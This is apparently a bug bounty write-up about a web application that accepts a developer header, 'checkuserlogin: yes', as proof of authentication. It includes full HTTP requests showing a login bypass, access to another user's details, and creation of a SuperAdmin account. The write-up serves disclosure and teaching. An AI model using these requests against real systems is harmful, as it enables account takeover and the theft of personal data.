🛑 "checkuserlogin: yes" — The Header That Gave Me SuperAdmin Powers

🧠 TL;DR

Adding a single header to any request — checkuserlogin: yes — caused the application to skip authentication and return sensitive data or perform privileged actions. That single header allowed me to access admin endpoints, create SuperAdmin accounts, and exfiltrate PII.

📌 Context

While testing the application instance I noticed a suspicious header being used by a login helper in the codebase: checkuserlogin: yes. Something that looked like a developer bypass flag ended up being accepted in production — and it was not scoped or validated.

🚧 Root Cause

The server trusted a non-standard header as a proof of authentication in several codepaths. If present, internal checks were short-circuited and the request was treated as authenticated/authorized. In other words: a forgotten developer shortcut became a global backdoor.

🔍 Discovery & PoC

Step 1 — Baseline (no header)

Normal login attempt without the header was rejected:

POST /login HTTP/1.1
Host: staging.example
Content-Type: application/json

{ "email": "attacker@example.com", "password": "hunter2" }

Normal login request — rejected (expected).

Step 2 — Add the header

Same request with the header added:

POST /login HTTP/1.1
Host: staging.example
Content-Type: application/json
checkuserlogin: yes

{ "email": "attacker@example.com", "password": "hunter2" }

Server returned 200 and full user payload when header present.

Step 3 — Reuse header on internal endpoints

I re-used checkuserlogin: yes on authenticated endpoints (example: /getuserdetails,/verifyusersemail, /superadmin) and received valid success responses without tokens:

POST /getuserdetails
Host: staging.example
Content-Type: application/json
checkuserlogin: yes

{ "userId": "victim-1234" }

Example API response showing 200 OK when header is present.

Step 4 — Create SuperAdmin

With header-enabled responses I could call the admin user creation endpoints and inject a new SuperAdmin:

POST /addgauser
Host: staging.example
Content-Type: application/json
checkuserlogin: yes

{
  "email": "attackerdilip@gmail.com",
  "role": "superadmin"
}

Proof: new superadmin creation request accepted when header present.

Step 5 — Access SuperAdmin panel

After creating the account I was able to authenticate as a SuperAdmin and view admin dashboards and data.

SuperAdmin endpoint returned extensive PII.

Admin dashboard view obtained after account creation.

💥 Impact

• Total authentication bypass for endpoints honoring the header.
• Creation of privileged users (SuperAdmin) without proper validation.
• Wide-scale PII exposure (names, emails, addresses, phone numbers).
• Potential full compromise of backend systems and data exfiltration.

🛠 Recommendations

🏁 Final Notes

Small developer conveniences become gigantic security holes when deployed. This case is a reminder to treat request metadata as untrusted and to perform strict server-side checks for all privilege-sensitive actions.